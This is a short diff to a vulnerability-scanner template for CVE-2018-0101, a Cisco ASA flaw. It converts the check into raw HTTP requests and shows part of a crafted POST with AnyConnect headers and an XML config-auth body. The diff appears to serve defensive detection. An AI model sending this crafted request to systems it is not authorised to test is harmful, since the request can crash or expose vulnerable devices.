Using RAW requests

cves/2018/CVE-2018-0101.yaml

@@ -12,18 +12,24 @@ info:
   tags: cve,cve2018,cisco,dos,rce
 
 requests:
-  - method: POST
-    path:
-      - "{{BaseURL}}/"
-    headers:
-      Content-Type: "application/x-www-form-urlencoded"
-      X-Aggregate-Auth: "1"
-      X-Transcend-Version: "1"
-      Accept-Encoding: "identity"
-      X-AnyConnect-Platform: "linux-64"
-      X-Support-HTTP-Auth: "false"
-      X-Pad: "0000000000000000000000000000000000000000"
-    body: |
+  - raw:
+    - |
+      GET / HTTP/1.1
+      Host: {{Hostname}}
+      Accept: */*
+
+    - |
+      POST / HTTP/1.1
+      Host: {{Hostname}}
+      Accept: */*
+      Content-Type: application/x-www-form-urlencoded
+      X-Aggregate-Auth: 1
+      X-Transcend-Version: 1
+      Accept-Encoding: identity
+      X-AnyConnect-Platform: linux-64
+      X-Support-HTTP-Auth: false
+      X-Pad: 0000000000000000000000000000000000000000
+
       <?xml version="1.0" encoding="UTF-8"?>
       <config-auth client="a" type="a" aggregate-auth-version="a">
           <host-scan-reply>A</host-scan-reply>